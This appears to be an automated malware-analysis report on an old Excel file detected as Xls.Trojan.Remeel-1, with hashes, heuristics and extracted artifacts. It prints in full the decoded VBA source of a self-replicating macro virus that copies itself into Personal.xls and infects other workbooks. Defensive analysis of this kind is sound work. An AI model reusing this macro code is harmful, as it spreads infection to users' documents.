Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82d64ae22f38d12f…

MALICIOUS

Office (OLE)

43.5 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: caae7f3be7ba8316802161306edcfe4d SHA-1: 181e69545630a9da1e324cfb430a72ad4792886d SHA-256: 82d64ae22f38d12fc33b3e806c77c538d0510d96f313cdb4d30613ce454ba4f2
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains VBA macros, specifically a Workbook_Open subroutine, which is designed to copy its own code into the 'Personal.xls' file. This action aims to achieve persistence by ensuring the macro executes whenever a workbook is opened. The ClamAV detection as 'Xls.Trojan.Remeel-1' further supports its malicious nature. The exact payload or ultimate goal beyond persistence is not fully discernible due to code truncation.

Heuristics 6

  • ClamAV: Xls.Trojan.Remeel-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Remeel-1
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 19,780 bytes but its declared streams total only 0 bytes — 19,780 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3900 bytes
SHA-256: 267117fd113c8d43a6860ee2f6ceacad58a087bc66328b95aa88c0ce18ef207b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Compare Text
Private Sub Workbook_Open()
'Remeel
On Error Resume Next
With Application: p$ = "Personal.xls": a$ = ActiveWorkbook.Name
.ScreenUpdating = False: sp$ = .StartupPath: PerEx$ = Dir(sp$ & "\" & p)
Set avi = Workbooks(a$).VBProject.VBComponents.Item(1)
Set pvi = Workbooks(p$).VBProject.VBComponents.Item(1)

j% = 1: Do While pvi.CodeModule.Lines(1, 1) = "": pvi.CodeModule.DeleteLines 1: j% = j% + 1
If j% = 5 Then Exit Do
Loop
k% = 1: Do While avi.CodeModule.Lines(1, 1) = "": avi.CodeModule.DeleteLines 1: k% = k% + 1
If k% = 5 Then Exit Do
Loop

If PerEx$ = p Then
  If Workbooks(p).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Remeel" Then
  E% = 6
  Else
    If Workbooks(a).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Remeel" Then E% = 7 Else E% = 8 '‡B�AComplete
  End If
Else: E% = 5
End If
Select Case E%: Case 5
  n1$ = ActiveWorkbook.Name: Workbooks.Add: ActiveWorkbook.SaveAs (sp$ & "\" & p)
  ActiveWindow.Visible = False: Workbooks(p).Save: T1 p, a
Case 6: T1 p, a
Case 7: n$ = Workbooks(p$).VBProject.VBComponents.Item(1).Name
.OnSheetActivate = "Personal.xls!" & n$ & ".t2"
End Select
End With
End Sub
Private Sub T1(p$, a$)
y% = 1
Set avi = Workbooks(a$).VBProject.VBComponents.Item(1)
Set pvi = Workbooks(p$).VBProject.VBComponents.Item(1)
Do: pvi.CodeModule.InsertLines y%, avi.CodeModule.Lines(y%, 1)
y% = y% + 1: Loop While avi.CodeModule.Lines(y%, 1) <> "'MsgBox"
pvi.CodeModule.InsertLines y%, "'MsgBox": Workbooks(p).Save
End Sub
Private Sub T2()
y% = 1: p$ = "Personal.xls": a$ = ActiveWorkbook.Name
If a$ = "Book1" Then Exit Sub
Set avi = Workbooks(a$).VBProject.VBComponents.Item(1)
Set pvi = Workbooks(p$).VBProject.VBComponents.Item(1)
If avi.CodeModule.Lines(3, 1) = "'Remeel" Then Exit Sub
Do: avi.CodeModule.InsertLines y, pvi.CodeModule.Lines(y%, 1)
y% = y% + 1: Loop While pvi.CodeModule.Lines(y%, 1) <> "'MsgBox"
avi.CodeModule.InsertLines y, "'MsgBox": Workbooks(a$).Save: Application.OnSheetActivate = ""
End Sub
'MsgBox

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
embedded_office_off000060bc.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x60BC 19780 bytes
SHA-256: 01ee84154c1757a633a31124bfcce800264162cf6e38c14b99437e0d85ac23c9
embedded_office_off000082f3.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x82F3 11021 bytes
SHA-256: 94eea56361af187e3685d58aad8ecdd8292e549807b2b43219c41dc5d183a651